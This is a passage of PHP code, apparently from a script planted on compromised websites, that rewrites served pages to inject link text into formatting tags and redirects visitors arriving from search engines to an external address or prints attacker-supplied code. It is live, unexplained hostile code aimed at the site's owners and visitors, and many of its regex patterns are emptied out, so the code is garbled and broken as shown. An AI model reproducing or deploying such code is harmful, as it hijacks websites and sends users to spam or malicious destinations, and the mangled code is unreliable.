#iUs', "
\n$txt\n
", $my_content, 1);
}
elseif (@preg_match('##iUs', $my_content)) {
$my_content = preg_replace('##iUs', "\n
\n$txt\n
", $my_content, 1);
}
}
} //end if key
elseif (!preg_match('#
(.*)404(.*)#i', $my_content) && !preg_match('#(.*)not found(.*)#i', $my_content)) {
foreach($el as $ln) {
if (preg_match('##', $my_content)) {
$my_content = preg_replace('##', "_-strong-_ $ln ", $my_content, 1);
}
elseif (preg_match('##', $my_content)) {
$my_content = preg_replace('##', "_-b-_ $ln ", $my_content, 1);
}
elseif (preg_match('##', $my_content)) {
$my_content = preg_replace('##', "_-i-_ $ln ", $my_content, 1);
}
elseif (preg_match('##', $my_content)) {
$my_content = preg_replace('##', "_-u-_ $ln ", $my_content, 1);
}
elseif (preg_match('##', $my_content)) {
$my_content = preg_replace('#
#iUs', "_-p-_ \n$ln ", $my_content, 1);
}
elseif (preg_match('#
#', $my_content)) {
$my_content = preg_replace('##', "_-/p-_ \n$ln ", $my_content, 1);
}
elseif (preg_match('#
#', $my_content)) {
$my_content = preg_replace('#
#iUs', " $ln ", $my_content, 1);
}
elseif (preg_match('##', $my_content)) {
$my_content = preg_replace('##iUs', "_-span-_ $ln ", $my_content, 1);
}
elseif (preg_match('##iUs', $my_content)) {
$my_content = preg_replace('##iUs', "\n$ln ", $my_content, 1);
}
}
$my_content = str_replace('_-', '<', $my_content);
$my_content = str_replace('-_', '>', $my_content);
//$my_content = str_replace('', "\n", $my_content);
//$my_content = str_replace('', "\n", $my_content);
}
echo $my_content;
}
register_shutdown_function('shutdown');
}
if (($_GET[$qq] || $cldw) && $fromse && !$abt) {
if (!$redcode && !$morda) {
if ($key) $tkey = str_replace(' ', '+', $key);
else $tkey = str_replace('-', '+', $_GET[$qq]);
if (strstr($redir, '?')) $redir .= "&keyword=".$tkey;
else $redir .= "?keyword=".$tkey;
$redir = str_replace('KEY', $tkey, $redir);
header("Location: $redir");
echo "";
die();
}
elseif (!$morda) {
$key = str_replace('-', ' ', $_GET[$qq]);
$redcode = str_replace('KEY', $key, $redcode);
echo stripslashes($redcode);
}
}
?>